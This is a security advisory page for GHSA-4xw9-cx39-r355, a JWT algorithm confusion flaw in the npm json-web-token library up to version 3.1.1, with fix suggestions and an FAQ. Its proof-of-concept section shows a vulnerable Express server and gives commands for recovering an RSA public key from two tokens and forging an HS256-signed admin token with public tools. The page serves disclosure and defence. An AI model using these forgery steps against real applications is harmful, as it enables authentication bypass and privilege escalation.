7.5
CWE
20 345
Advisory Published
Updated

GHSA-4xw9-cx39-r355

First published: Fri Nov 17 2023(Updated: )

### Summary The json-web-token library is vulnerable to a JWT algorithm confusion attack. ### Details On line 86 of the 'index.js' file, the algorithm to use for verifying the signature of the JWT token is taken from the JWT token, which at that point is still unverified and thus shouldn't be trusted. To exploit this vulnerability, an attacker needs to craft a malicious JWT token containing the HS256 algorithm, signed with the public RSA key of the victim application. This attack will only work against this library is the RS256 algorithm is in use, however it is a best practice to use that algorithm. ### PoC Take a server running the following code: ```javascript const express = require('express'); const jwt = require('json-web-token'); const fs = require('fs'); const path = require('path'); const app = express(); const port = 3000; // Load the keys from the file const publicKeyPath = path.join(__dirname, 'public-key.pem'); const publicKey = fs.readFileSync(publicKeyPath, 'utf8'); const privateKeyPath = path.join(__dirname, 'private-key.pem'); const privateKey = fs.readFileSync(privateKeyPath, 'utf8'); app.use(express.json()); // Endpoint to generate a JWT token with admin: False app.get('/generateToken', async (req, res) => { const payload = { admin: false, name: req.query.name }; const token = await jwt.encode(privateKey, payload, 'RS256', function (err, token) { res.json({ token }); }); }); // Middleware to verify the JWT token function verifyToken(req, res, next) { const token = req.query.token; jwt.decode(publicKey, token, (err, decoded) => { if (err) { console.log(err) return res.status(401).json({ message: 'Token authentication failed' }); } req.decoded = decoded; next(); }); } // Endpoint to check if you are the admin or not app.get('/checkAdmin', verifyToken, (req, res) => { res.json(req.decoded); }); app.listen(port, () => { console.log(`Server is running on port ${port}`); }); ``` **Public key recovery** First, an attacker needs to recover the public key from the server in any way possible. It is possible to extract this from just two JWT tokens as shown below. Grab two different JWT tokens and utilize the following tool: `https://github.com/silentsignal/rsa_sign2n/blob/release/standalone/jwt_forgery.py` ``` python3 jwt_forgery.py token1 token2 ``` The tool will generate 4 different public keys, all in different formats. Try the following for all 4 formats. **Algorithm confusion** Change the JWT to the HS256 algorithm and modify any of the contents to your liking at `https://jwt.io/`. Copy the resulting JWT token and use with the following tool: `https://github.com/ticarpi/jwt_tool`. ``` python /opt/jwt_tool/jwt_tool.py --exploit k -pk public_key token ``` You will now get a resulting JWT token that is validly signed. ### Impact Applications using the RS256 algorithm, are vulnerable to this algorithm confusion attack which allows attackers to sign arbitrary payloads that the verifier will accept. ### Solution Either one of the following solutions will work. 1. Change the signature of the `decode` function to ensure that the algorithm is set in that call 2. Check whether or not the secret could be a public key in the decode function and in that case, set the key to be a public key.

Affected SoftwareAffected VersionHow to fix
npm/json-web-token<=3.1.1

Never miss a vulnerability like this again

Sign up to SecAlerts for real-time vulnerability data matched to your software, aggregated from hundreds of sources.

Frequently Asked Questions

  • What is the vulnerability ID for this issue?

    The vulnerability ID for this issue is GHSA-4xw9-cx39-r355.

  • What is the severity of GHSA-4xw9-cx39-r355?

    The severity of GHSA-4xw9-cx39-r355 is high with a severity value of 7.5.

  • Which software is affected by GHSA-4xw9-cx39-r355?

    The json-web-token library (npm/json-web-token) version 3.1.1 is affected by GHSA-4xw9-cx39-r355.

  • What is the details of GHSA-4xw9-cx39-r355?

    GHSA-4xw9-cx39-r355 is a vulnerability in the json-web-token library that allows a JWT algorithm confusion attack by using the algorithm from the unverified JWT token for verifying its signature.

  • How can I fix GHSA-4xw9-cx39-r355?

    To fix GHSA-4xw9-cx39-r355, you should upgrade the json-web-token library to a version that has addressed this vulnerability.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2023 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203